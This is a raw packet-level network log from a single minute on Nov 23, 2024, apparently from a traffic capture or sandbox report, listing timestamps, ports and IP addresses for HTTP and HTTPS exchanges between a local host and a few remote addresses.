Nov 23, 2024 15:22:32.644336939 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.644968033 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.645092964 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.645236969 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.646173954 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.646269083 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.646421909 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.647377014 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.647439003 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.647495985 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.647692919 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.648530960 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.648624897 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.648686886 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.648901939 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.649693966 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.649863958 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.660478115 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.660592079 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.660644054 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.661063910 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.661180019 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.661222935 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.661546946 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.662256002 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.662389040 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.662491083 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.663434029 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.663641930 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.663764000 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.664622068 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.664755106 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.664993048 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.665851116 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.665982962 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.666023016 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.667000055 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.667102098 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.667150021 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.667227983 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.668195963 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.668289900 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.668380022 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.669420958 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.669507027 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.669550896 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.669933081 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.670555115 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.670667887 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.670764923 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.671732903 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.671905994 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.671946049 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.672125101 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.672939062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.673145056 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.673151970 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.673208952 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.674118042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.674240112 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.674240112 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.674379110 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.675311089 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.675417900 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.675430059 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.675575018 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.676493883 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.676664114 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.677030087 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.677668095 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.677800894 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.677871943 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.678833961 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.678952932 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.679003000 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.679075956 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.680068016 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.680161953 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.680161953 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.680325985 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.681229115 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.681345940 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.681392908 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.682391882 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.682511091 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.682539940 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.683582067 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.683630943 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.683676958 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.683809042 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.684765100 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.684880018 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.686018944 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.686053038 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.686134100 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.687277079 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.687318087 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.687345028 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.687777996 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.688400984 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.688525915 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.688597918 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.689538956 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.689665079 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.689760923 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.689760923 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.690897942 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.690973043 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.691279888 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.691867113 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.691977024 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.692044020 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.693075895 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.693182945 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.693202972 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.693259001 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.694269896 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.694375038 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.694489956 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.695426941 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.695528984 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.695564985 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.695785046 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.696600914 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.696685076 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.696719885 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.696764946 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.697803974 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.697904110 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.697947979 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.698009968 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.698957920 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.699101925 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.699198008 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.700135946 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.700248957 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.700536013 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.701406002 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.701492071 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.701523066 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.701586008 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.702521086 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.702609062 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.702657938 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.702713966 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.703697920 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.703820944 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.703919888 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.704054117 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.704910994 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.705028057 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.705089092 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.706091881 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.706160069 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.706197023 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.706254005 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.707257032 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.707365990 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.707448959 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.708457947 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.708538055 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.708579063 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.709629059 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.709760904 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.709784985 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.709918976 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.710804939 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.711018085 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.711056948 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.711987972 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.711991072 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.712074041 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.713186026 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.713274956 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.713310003 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.713612080 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.714339972 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.714493036 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.716622114 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.716658115 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.716742039 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.716829062 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.716856956 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.716896057 CET	49829	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:32.716922045 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.717178106 CET	49829	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:32.717194080 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.725270987 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.725591898 CET	49829	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:32.725605011 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.733624935 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.733767033 CET	49829	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:32.733781099 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.788228989 CET	49829	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:32.827234030 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.827420950 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.827511072 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.827697039 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.827697039 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.827735901 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.827763081 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.831777096 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.831820965 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.834932089 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.835043907 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.835069895 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.835084915 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.835369110 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.835390091 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.835422993 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.835587025 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.835639954 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.835666895 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.835782051 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.836277008 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.836730957 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.836879015 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.837079048 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.837996960 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.838152885 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.838238001 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.839108944 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.839258909 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.839308977 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.839508057 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.840351105 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.840404987 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.840430021 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.840502977 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.841522932 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.841619968 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.841676950 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.841756105 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.852505922 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.852677107 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.852770090 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.853121042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.853230000 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.853266001 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.853326082 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.854252100 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.854594946 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.854698896 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.854882002 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.854897976 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.855003119 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.855910063 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.855984926 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.856030941 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.856087923 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.857157946 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.857254028 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.857461929 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.858283997 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.858375072 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.858388901 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.858455896 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.859450102 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.859532118 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.859739065 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.859878063 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.860635042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.860707998 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.860753059 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.860842943 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.861814976 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.861922026 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.862011909 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.863027096 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.863289118 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.863331079 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.863483906 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.864173889 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.864253998 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.864295006 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.864372015 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.865379095 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.865505934 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.865822077 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.866592884 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.866770983 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.866816044 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.866868019 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.867845058 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.867924929 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.867963076 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.868921995 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.869060040 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.869086981 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.869168043 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.870150089 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.870244980 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.870404959 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.871349096 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.871387959 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.871467113 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.872149944 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.872477055 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.872564077 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.872595072 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.873630047 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.873739958 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.873749971 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.873765945 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.873807907 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.873836994 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.873899937 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.874034882 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.874034882 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.874054909 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.874064922 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.874835014 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.874974966 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.875085115 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.876033068 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.876246929 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.876270056 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.876450062 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.877228022 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.877257109 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.877273083 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.877305984 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.877315998 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.877340078 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.877399921 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.878365993 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.878417969 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.878424883 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.878456116 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.878495932 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.878655910 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.879554987 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.879640102 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.879683018 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.879868984 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.880882025 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.880947113 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.881294966 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.881927967 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.881972075 CET	80	49823	185.215.113.16	192.168.2.4
